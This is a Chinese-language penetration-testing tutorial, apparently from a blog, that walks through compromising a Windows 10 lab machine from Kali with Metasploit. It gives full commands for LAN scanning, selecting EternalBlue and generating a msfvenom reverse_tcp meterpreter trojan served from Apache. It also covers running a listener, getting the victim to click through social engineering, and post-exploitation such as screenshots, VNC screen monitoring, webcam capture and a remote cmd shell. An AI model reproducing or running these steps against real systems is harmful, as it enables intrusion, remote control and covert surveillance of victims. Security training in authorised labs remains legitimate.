一、实验环境：
靶 机： windows10台式机（可以自己搭一个虚拟机，我这里用物理机做靶机）：
192.168.1.114
攻击机： kali虚拟机：192.168.1.116
二、msf工具基本用法：
msfconsole #进入msf框架
search 相关漏洞(如search ms17_010） # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入漏洞相关模块
info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.1.114 #设置Remote的IP
exploit、run #两个命令都可以进行攻击
下面开始进入实战：
1. 主机发现(扫描局域网所有存活机器)：
netdiscover -i eth0 -r 192.168.10.0/24
目前局域网有4台设备在线，192.168.1.114就是我们要攻击的靶机。
2. 端口扫描(扫描该靶机开放的端口)：
masscan --rate=10000 -p0-65535 192.168.1.114
3. 扫描各端口所属服务：
nmap -sV -T4 192.168.1.114
nmap -sV -T4 -O -p 135,139,445 192.168.1.114（可特定某些端口）
4. msf生成木马：
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.116 lport=8888 -f exe -o /var/www/html/ltw.exe
lhost：kali的IP地址
lport：设置监听的端口，可以随意设置，只要不被占用，靶机点击木马后kali通过8888端口进行监听。
/var/www/html/ltw.exe：我这边把木马放到Apache服务器上，所以kali要安装Apache。
安装方法：apt-get install httpd（可能会报错），如果报错改为：apt-get install apache2。然后通过service apache2 start 启动Apache
Apache已经成功启动。
5. 如何让靶机运行你生成的木马：
可通过社工、漏洞利用等方式让用户进行点击，这边不做详解。
6. 配置监听：
msfconsole打开msf
开启后门监听
命令：use exploit/multi/handler
查看有哪些可利用的payloads
命令：show payloads
set payload windows/meterpreter/reverse_tcp #设置攻击载荷
show options #设置要配置哪些信息
set lhost 192.168.1.116
set lport 8888
exploit
我们开启了一个
reverse TCP监听器来监听本地的8888端口，即我（攻击者）的Kali主机地址（LHOST）和端口号（LPORT）
输出metetpreter这个后渗透模块，攻击成功，现在可以对靶机进行控制。
7. 进行后渗透：
screenshot:截图
run vnc -i:监控靶机屏幕
webcam_snap 靶机摄像头拍照
输入：
shell即可切换到目标主机的windows cmd_shell里面：shell #获取目标主机的cmd_shell权限
chcp 65001 #这里为了避免目标主机cmd_shell字符乱码，设置目标主机命令行的字符编码，65001是UTF-8
exit #退回到meterpreter
background #把我们获得的meterpreter会话挂载到后台运行
sessions -l #查看获得的meterpreter_shell会话列表
session 1 #重新进入meterpreter
